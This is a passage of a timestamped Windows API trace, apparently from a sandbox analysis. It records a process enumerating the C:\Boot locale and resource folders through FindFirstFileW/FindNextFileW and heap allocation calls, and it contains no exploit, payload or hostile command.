(in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.900] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.900] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.909] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.909] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.910] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.910] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.910] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.910] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.910] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.910] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.910] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.912] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.912] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.912] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.913] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.913] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.913] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.913] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.913] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.913] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.913] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.913] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.913] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.914] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.914] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.914] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.914] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.914] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.915] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.915] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.915] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.916] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.916] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.916] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.916] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.916] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.916] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.917] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.917] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.917] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.917] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.917] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.917] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.917] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.917] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.921] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.921] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.921] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.921] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.921] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.921] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.922] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.922] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.922] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.922] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.923] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.923] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.923] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.923] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.923] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.923] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.924] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.924] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.924] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.924] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.924] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.924] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.924] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.934] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42d13f8 [0195.934] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 0x7a1ef0 [0195.935] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0195.935] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0195.935] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 0 [0195.935] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.935] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0195.935] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.935] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.935] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.935] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.935] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.935] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.949] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.949] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.949] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.949] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.950] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.950] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.950] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.950] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.959] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.959] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.959] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.959] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.959] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.959] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.960] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.960] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.960] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.960] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.960] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.960] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.960] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.960] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.961] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.961] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.961] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.961] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.961] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.961] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.961] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.961] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.961] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.961] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.961] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.961] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.961] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.962] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.962] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.962] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.962] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.962] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.962] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.962] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.962] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1c70 [0196.309] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0196.309] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0196.309] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0196.572] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0196.573] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.573] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0196.573] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.573] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0196.573] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.573] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0196.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.574] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0196.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.574] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0 [0196.574] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0196.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0196.577] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0196.579] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0196.579] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0196.584] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0196.584] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0196.917] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0196.917] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0197.095] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0197.095] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0197.200] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0197.200] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0197.603] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0197.603] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0197.604] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.604] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.604] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.604] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.604] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.604] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.605] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.605] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.605] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.605] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.605] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.605] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.605] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.605] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.699] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.700] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.700] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.701] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.701] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.705] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.705] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.708] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.709] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.710] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.711] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.712] FindNextFileW 